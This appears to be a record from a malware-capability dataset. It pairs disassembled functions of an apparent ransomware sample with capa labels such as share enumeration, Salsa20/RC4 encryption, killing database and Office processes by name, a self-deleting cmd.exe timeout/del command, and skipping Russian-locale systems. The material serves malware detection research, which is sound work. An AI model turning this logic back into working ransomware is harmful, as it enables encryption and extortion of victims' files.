joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40157b
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
push 4
push 0x3000
xor esi, esi
mov dword [esp + 0x24], edx
push 0x1002
mov ebx, ecx
mov dword [esp + 0x24], esi
push esi
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x14], esi
mov edi, eax
mov dword [esp + 0x20], edi
mov dword [esp + 0x10], esi
test ebx, ebx
jne 0x40167d
lea eax, [esp + 0x18]
push eax
push esi
push esi
push 1
push 3
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x40167d
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x1000
push eax
push edi
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x80
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x401673
cmp dword [esp + 0x10], 0
mov ebx, esi
jbe 0x401646
lea esi, [edi + 0x14]
mov edi, dword [esp + 0x1c]
cmp dword [esi - 0x10], 1
jne 0x401622
mov edx, dword [ebp + 8]
mov ecx, dword [esi]
call fcn.0040153b
test byte [esi - 8], 2
je 0x401636
push dword [ebp + 8]
lea ecx, [esi - 0x14]
mov edx, edi
call fcn.0040157b
pop ecx
inc ebx
add esi, 0x20
cmp ebx, dword [esp + 0x10]
jb 0x401612
mov edi, dword [esp + 0x20]
xor esi, esi
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x1000
push eax
push edi
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x80
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x401602
mov ebx, dword [esp + 0x24]
push dword [esp + 0x18]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
lea eax, [esp + 0x18]
push eax
push ebx
push esi
push 1
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
mov esi, eax
test esi, esi
jne 0x40170c
jmp 0x4016d7
xor ebx, ebx
cmp dword [esp + 0x10], ebx
jbe 0x4016d7
lea esi, [edi + 0x14]
mov edi, dword [esp + 0x1c]
cmp dword [esi - 0x10], 1
jne 0x4016b5
mov edx, dword [ebp + 8]
mov ecx, dword [esi]
call fcn.0040153b
test byte [esi - 8], 2
je 0x4016c9
push dword [ebp + 8]
lea ecx, [esi - 0x14]
mov edx, edi
call fcn.0040157b
pop ecx
inc ebx
add esi, 0x20
cmp ebx, dword [esp + 0x10]
jb 0x4016a5
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x1000
push eax
push edi
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x80
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x401696
push dword [esp + 0x18]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov esi, eax
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401776
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, ecx
push 8
pop ecx
mov dword [ebp - 0x14], ebx
call fcn.00405780
push 0
push 0
push eax
push 0x401723
push 0
push 0
mov dword [eax + 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], eax
call fcn.004014b8
test eax, eax
je 0x40186b
push esi
mov esi, dword [ebp - 0x24]
mov ecx, esi
shl ecx, 2
call fcn.00405780
mov ebx, eax
mov dword [ebp - 0xc], 0x5c3a41
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
test eax, eax
je 0x401850
push edi
xor ecx, ecx
xor edi, edi
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x40183a
mov eax, dword [ebp - 0x20]
push 8
pop ecx
mov al, byte [edx + eax]
inc edx
mov byte [ebp - 0xc], al
mov dword [ebp - 8], edx
call fcn.00405780
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x14]
mov dword [esi + 4], eax
xor eax, eax
push eax
push eax
push esi
push 0x401474
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x24]
mov dword [ebx + ecx*4], eax
inc ecx
dec dword [ebp - 4]
mov dword [ebp - 0x10], ecx
je 0x40183a
mov edx, dword [ebp - 8]
inc edi
cmp edi, esi
jb 0x4017e6
push 0xffffffffffffffff
push 1
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp dword [ebp - 4], 0
mov edx, dword [ebp - 8]
jne 0x4017db
pop edi
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x20]
call fcn.00405791
mov ecx, ebx
call fcn.00405791
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401d80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
lea eax, [ebp - 4]
mov dword [ebp - 0x10], edx
push eax
push 0x20019
xor esi, esi
mov ebx, ecx
push esi
push str.SOFTWAREkeys_datadata
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x401db4
xor eax, eax
jmp 0x401e35
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push str.public
push dword [ebp - 4]
mov dword [ebp - 8], esi
call edi
test eax, eax
jne 0x401e29
mov ecx, dword [ebp - 8]
mov dword [ebx + 0xc], ecx
call fcn.00405780
lea ecx, [ebp - 8]
mov dword [ebx], eax
push ecx
push eax
push esi
push esi
push str.public
push dword [ebp - 4]
call edi
test eax, eax
jne 0x401e29
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
push esi
push esi
push esi
mov ebx, str.private
push ebx
push dword [ebp - 4]
call edi
cmp dword [ebp - 0xc], 0xa04
jae 0x401e29
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push esi
push esi
push ebx
push dword [ebp - 4]
call edi
mov esi, eax
neg esi
sbb esi, esi
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401e3b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, edx
xor ebx, ebx
mov dword [ebp - 0xc], eax
mov esi, ecx
push ebx
mov eax, dword [eax]
add eax, 0x204
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWAREkeys_datadata
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x401eb9
push edi
push dword [esi + 0xc]
push dword [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 3
push ebx
push str.public
push dword [ebp - 4]
call esi
push dword [ebp - 8]
mov edi, eax
push dword [ebp - 0xc]
push 3
push ebx
push str.private
push dword [ebp - 4]
call esi
test edi, edi
pop edi
jne 0x401eb0
test eax, eax
jne 0x401eb0
inc ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401f5a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
xor ecx, ecx
mov eax, ecx
push ebx
push esi
push edi
xor byte [eax + 0x4161d0], 0x10
inc eax
cmp eax, 0x882
jb 0x401f6a
sub esp, 0xc
push ecx
sub esp, 0xc
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
sub esp, 0xc
push ecx
push ecx
push ecx
lea ecx, [ebp - 0xa8]
call fcn.004013cc
lea ecx, [ebp - 0xa8]
call fcn.0040486f
lea ecx, [ebp - 0xa8]
call fcn.004046ab
mov esi, eax
lea ecx, [esi*2 + 0x42]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00402f51
lea eax, [esi*2 + 0x40]
push eax
lea ecx, [ebp - 0x14]
call fcn.00402f96
mov esi, eax
lea ecx, [ebp - 0xa8]
push esi
call fcn.004044b6
mov edi, str.ransom_id
mov ecx, esi
mov edx, edi
call fcn.0040571f
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
push edi
call ebx
push dword [0x420124]
lea eax, [esi + eax*2]
mov dword [ebp - 4], eax
call ebx
push 0x4161d0
mov esi, eax
call ebx
add esi, eax
lea ecx, [esi*2 + 0xa]
call fcn.00405780
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, eax
mov dword [0x42011c], edi
test edi, edi
je 0x402066
push 0x4161d0
push edi
call ebx
push dword [0x420124]
push dword [0x42011c]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, dword [0x42011c]
jmp 0x402066
push dword [ebp - 4]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x20
pop ecx
mov word [esi + eax*2], cx
mov edx, str.USERID
mov ecx, edi
call fcn.0040571f
mov esi, eax
test esi, esi
jne 0x402052
lea ecx, [ebp - 0x14]
call fcn.00402f85
lea ecx, [ebp - 0xa8]
call fcn.0040504d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402092
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
push esi
xor byte [eax + 0x416a60], 5
inc eax
cmp eax, 0x222
jb 0x40209b
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x10]
call fcn.0040390f
pop ecx
pop ecx
test eax, eax
je 0x40214b
mov ecx, 0xa04
call fcn.00405780
mov esi, eax
lea ecx, [ebp - 0x10]
mov edx, esi
call fcn.00401ec1
test eax, eax
je 0x402144
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x402112
mov eax, dword [ebp - 8]
test eax, eax
je 0x4020f6
mov byte [eax + ecx], 0
mov ecx, dword [ebp - 0xc]
push 0x800
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, esi
call fcn.00401977
test eax, eax
je 0x402134
call fcn.00401f5a
lea ecx, [ebp - 0x10]
mov dword [0x4200fc], 0x416a60
call fcn.00401776
push 0x8000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, esi
call fcn.00405791
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402231
Capabilities:
Check mutex on windows
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00409500
push ebx
push esi
push edi
mov ecx, 0x404
xor edi, edi
call fcn.00405780
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
je 0x402367
push 1
push 0x23
lea eax, [esi + 0x200]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x40235a
mov ecx, 0xe0c
call fcn.00405780
mov ebx, eax
test ebx, ebx
je 0x402360
push 0x100
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea ecx, [ebx + 0x600]
mov word [ebx + 6], ax
mov edx, 0x100
push edx
lea eax, [ebx + 0x400]
push eax
lea eax, [ebx + 0x604]
push eax
lea eax, [ebx + 0x608]
push eax
push ecx
push edx
lea eax, [ebx + 0x200]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x40234b
mov eax, dword [ebx + 0x600]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
shr eax, 2
push eax
lea eax, [ebp - 0x408]
push str._X_ahnlab_http:__memesmix.net_media_created_dd0doq.jpg
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xc08]
lea edx, [ebp - 0x408]
lea ecx, [ebp - 0x1008]
push eax
call fcn.00402152
xor eax, eax
pop ecx
mov word [ebp - 0xbe0], ax
lea eax, [ebp - 0xc08]
push eax
push str.Global_s.lock
push dword [ebp - 4]
call esi
mov esi, dword [ebp - 4]
add esp, 0xc
push esi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x40234b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40234b
inc edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ebx
call fcn.00405791
jmp 0x402360
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, esi
call fcn.00405791
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402370
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, 0x400
push edi
push 4
push 0x3000
push ebx
push 0
call esi
push 4
push 0x3000
push ebx
xor ebx, ebx
mov edi, eax
push ebx
call esi
mov esi, eax
test edi, edi
je 0x4023d4
push 0x200
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test esi, esi
je 0x4023d4
push edi
push str._c_timeout__c_5__del___s___f__q
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push ebx
push ebx
push esi
push str.cmd.exe
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4023dc
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
mov dword [ebp - 0x40], 0x419
mov dword [ebp - 0x3c], 0x422
mov dword [ebp - 0x38], 0x423
mov dword [ebp - 0x34], 0x428
mov dword [ebp - 0x30], 0x42b
mov dword [ebp - 0x2c], 0x42c
mov dword [ebp - 0x28], 0x437
mov dword [ebp - 0x24], 0x43f
mov dword [ebp - 0x20], 0x440
mov dword [ebp - 0x1c], 0x442
mov dword [ebp - 0x18], 0x443
mov dword [ebp - 0x14], 0x444
mov dword [ebp - 0x10], 0x818
mov dword [ebp - 0xc], 0x819
mov dword [ebp - 8], 0x82c
mov dword [ebp - 4], 0x843
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx esi, ax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx ecx, ax
xor eax, eax
cmp dword [ebp + eax*4 - 0x40], esi
je 0x40247d
cmp dword [ebp + eax*4 - 0x40], ecx
je 0x40247d
inc eax
cmp eax, 0x10
jb 0x402467
xor eax, eax
jmp 0x402480
xor eax, eax
inc eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402485
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, 0x8a
push esi
push edi
xor edi, edi
call fcn.00405780
mov esi, eax
test esi, esi
je 0x40254c
add esi, 0xe
mov dword [ebp - 8], eax
xor ecx, ecx
push ebx
lea ebx, [ecx + 1]
push ebx
push 0x412d68
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 4]
inc ebx
mov dword [ebp - 0x10], ebx
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.Keyboard_LayoutPreload
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402517
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x80
push eax
push esi
push ebx
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x402506
lea ebx, [eax + 1]
jmp 0x40250c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402519
xor ebx, ebx
test ebx, ebx
je 0x402531
push str.00000419
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
push 1
pop eax
cmove edi, eax
mov ebx, dword [ebp - 0x10]
cmp ebx, 9
je 0x402544
mov eax, dword [ebp - 8]
test edi, edi
je 0x4024af
mov ecx, esi
call fcn.00405791
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402805
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
xor ebx, ebx
push edi
mov eax, ebx
xor byte [eax + 0x4160b0], 5
inc eax
cmp eax, 0x114
jb 0x402812
push 0x1f
lea eax, [ebp - 0x28]
push str._hashbreaker_Daniel_J._Bernstein_lets_dance_salsa__3
push eax
call fcn.00407d50
mov esi, str._hashbreaker_:___
mov byte [ebp - 9], bl
lea edi, [ebp - 8]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push 0x40
pop eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp - 1], bl
mov byte [ebp - 0x30], bl
dec eax
jne 0x402849
push ecx
push ecx
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.00403d26
mov eax, dword [ebp - 8]
add esp, 8
mov esi, 0x114
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x54], eax
push 4
push 0x3000
push esi
push ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push eax
mov edx, 0x4160b0
mov dword [0x420120], eax
lea ecx, [ebp - 0x70]
call fcn.00403d7b
pop ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402d24
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
push edi
mov eax, str.sqlservr.exe
mov dword [ebp - 0xa8], str.msftesql.exe
push 0
push 2
mov dword [ebp - 0xa4], str.sqlagent.exe
mov dword [ebp - 0xa0], str.sqlbrowser.exe
mov dword [ebp - 0x9c], str.sqlwriter.exe
mov dword [ebp - 0x98], str.oracle.exe
mov dword [ebp - 0x94], str.ocssd.exe
mov dword [ebp - 0x90], str.dbsnmp.exe
mov dword [ebp - 0x8c], str.synctime.exe
mov dword [ebp - 0x88], str.agntsvc.exeisqlplussvc.exe
mov dword [ebp - 0x84], str.xfssvccon.exe
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], str.mydesktopservice.exe
mov dword [ebp - 0x78], str.ocautoupds.exe
mov dword [ebp - 0x74], str.agntsvc.exeagntsvc.exe
mov dword [ebp - 0x70], str.agntsvc.exeencsvc.exe
mov dword [ebp - 0x6c], str.firefoxconfig.exe
mov dword [ebp - 0x68], str.tbirdconfig.exe
mov dword [ebp - 0x64], str.mydesktopqos.exe
mov dword [ebp - 0x60], str.ocomm.exe
mov dword [ebp - 0x5c], str.mysqld.exe
mov dword [ebp - 0x58], str.mysqld_nt.exe
mov dword [ebp - 0x54], str.mysqld_opt.exe
mov dword [ebp - 0x50], str.dbeng50.exe
mov dword [ebp - 0x4c], str.sqbcoreservice.exe
mov dword [ebp - 0x48], str.excel.exe
mov dword [ebp - 0x44], str.infopath.exe
mov dword [ebp - 0x40], str.msaccess.exe
mov dword [ebp - 0x3c], str.mspub.exe
mov dword [ebp - 0x38], str.onenote.exe
mov dword [ebp - 0x34], str.outlook.exe
mov dword [ebp - 0x30], str.powerpnt.exe
mov dword [ebp - 0x2c], str.steam.exe
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], str.thebat.exe
mov dword [ebp - 0x20], str.thebat64.exe
mov dword [ebp - 0x1c], str.thunderbird.exe
mov dword [ebp - 0x18], str.visio.exe
mov dword [ebp - 0x14], str.winword.exe
mov dword [ebp - 0x10], str.wordpad.exe
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 4
push 0x3000
mov ebx, 0x22c
mov edi, eax
push ebx
push 0
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x402e95
mov dword [esi], ebx
cmp edi, 0xffffffff
je 0x402e95
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
lea edi, [esi + 0x24]
push edi
push dword [ebp + ebx*4 - 0xa8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x402ed1
push dword [esi + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
test eax, eax
je 0x402ed1
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, 0x27
jb 0x402e9a
mov edi, dword [ebp - 4]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402e95
test esi, esi
je 0x402ef7
push 0x8000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402f05
Capabilities:
Accept command line arguments
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.0040589b
test eax, eax
je 0x402f25
call fcn.00405941
cmp eax, 0x1000
ja 0x402f25
call fcn.00402cd8
call fcn.004052fa
test eax, eax
js 0x402f3e
cmp eax, 0x1e
jg 0x402f48
push 0x927c0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402d24
jmp fcn.004028a2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x402f51
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
push 0x40
mov esi, ecx
xor edi, edi
push 0x3000
push eax
push edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov eax, esi
pop edi
pop esi
pop ebp
ret 4

Function at 0x403749
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], edx
push 0xff
lea eax, [ebp - 0x113]
mov dword [ebp - 0x10], ebx
mov esi, ecx
mov byte [ebp - 0x114], bl
push ebx
push eax
mov dword [ebp - 0x14], esi
call fcn.004078c0
mov edi, esi
mov dword [ebp - 4], ebx
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x114]
add esp, 0xc
mov dword [ebp - 8], 0x100
sub edi, eax
xor edx, edx
lea ecx, [ebp - 0x114]
mov eax, ebx
add ecx, ebx
div dword [ebp + 8]
mov byte [edi + ecx], bl
inc ebx
mov al, byte [edx + esi]
mov byte [ecx], al
cmp ebx, 0x100
jl 0x403794
mov esi, dword [ebp - 0x14]
lea edi, [ebp - 0x114]
mov ebx, dword [ebp - 0x10]
mov ecx, esi
mov dword [ebp - 4], ecx
sub edi, esi
movsx eax, byte [edi + ecx]
mov dl, byte [ecx]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x4037e4
dec ebx
or ebx, 0xffffff00
inc ebx
mov ecx, dword [ebp - 4]
mov al, byte [ebx + esi]
mov byte [ecx], al
inc ecx
dec dword [ebp - 8]
mov byte [ebx + esi], dl
mov dword [ebp - 4], ecx
jne 0x4037c7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4037ff
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 8], edx
mov ebx, esi
mov dword [ebp - 4], esi
push edi
mov edi, ecx
cmp dword [ebp + 8], ebx
jbe 0x403878
inc esi
and esi, 0x800000ff
jns 0x403829
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + edi]
movzx eax, dl
add ebx, eax
and ebx, 0x800000ff
jns 0x403841
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [ebx + edi]
mov byte [esi + edi], al
mov byte [ebx + edi], dl
movzx ecx, byte [esi + edi]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x403863
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ecx + edi]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor byte [ecx + edx], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, dword [ebp + 8]
jb 0x403818
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403d26
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [edx]
mov dword [ecx + 4], eax
mov eax, dword [edx + 4]
mov dword [ecx + 8], eax
mov eax, dword [edx + 8]
mov dword [ecx + 0xc], eax
mov eax, dword [edx + 0xc]
mov dword [ecx + 0x10], eax
mov eax, dword [edx + 0x10]
mov dword [ecx + 0x2c], eax
mov eax, dword [edx + 0x14]
mov dword [ecx + 0x30], eax
mov eax, dword [edx + 0x18]
mov dword [ecx + 0x34], eax
mov eax, dword [edx + 0x1c]
mov dword [0x42012c], 0x412b24
mov dword [ecx + 0x38], eax
mov dword [ecx], 0x61707865
mov dword [ecx + 0x14], 0x3320646e
mov dword [ecx + 0x28], 0x79622d32
mov dword [ecx + 0x3c], 0x6b206574
ret

Function at 0x403d7b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, edx
mov edx, ecx
mov dword [ebp - 0xc], edx
test esi, esi
je 0x403e18
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x4c]
sub eax, ecx
mov dword [ebp - 4], eax
mov eax, edi
sub eax, ecx
push ebx
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x4c]
xor ebx, ebx
call fcn.00403ac2
mov edx, dword [ebp - 0xc]
inc dword [edx + 0x20]
jne 0x403dbd
inc dword [edx + 0x24]
cmp esi, 0x40
jbe 0x403df7
mov esi, dword [ebp - 8]
mov edx, ebx
mov ebx, dword [ebp - 4]
lea ecx, [ebp - 0x4c]
add ecx, edx
push 0x40
mov al, byte [esi + ecx]
xor al, byte [ecx]
inc edx
mov byte [ebx + ecx], al
pop eax
cmp edx, eax
jl 0x403dca
mov esi, dword [ebp + 0xc]
add edi, eax
add dword [ebp + 8], eax
sub esi, eax
add dword [ebp - 4], eax
add dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
mov dword [ebp + 0xc], esi
jmp 0x403da8
test esi, esi
je 0x403e17
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x4c]
sub edi, eax
sub edx, eax
lea ecx, [ebp - 0x4c]
add ecx, ebx
mov al, byte [edi + ecx]
xor al, byte [ecx]
inc ebx
mov byte [edx + ecx], al
cmp ebx, esi
jb 0x403e05
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret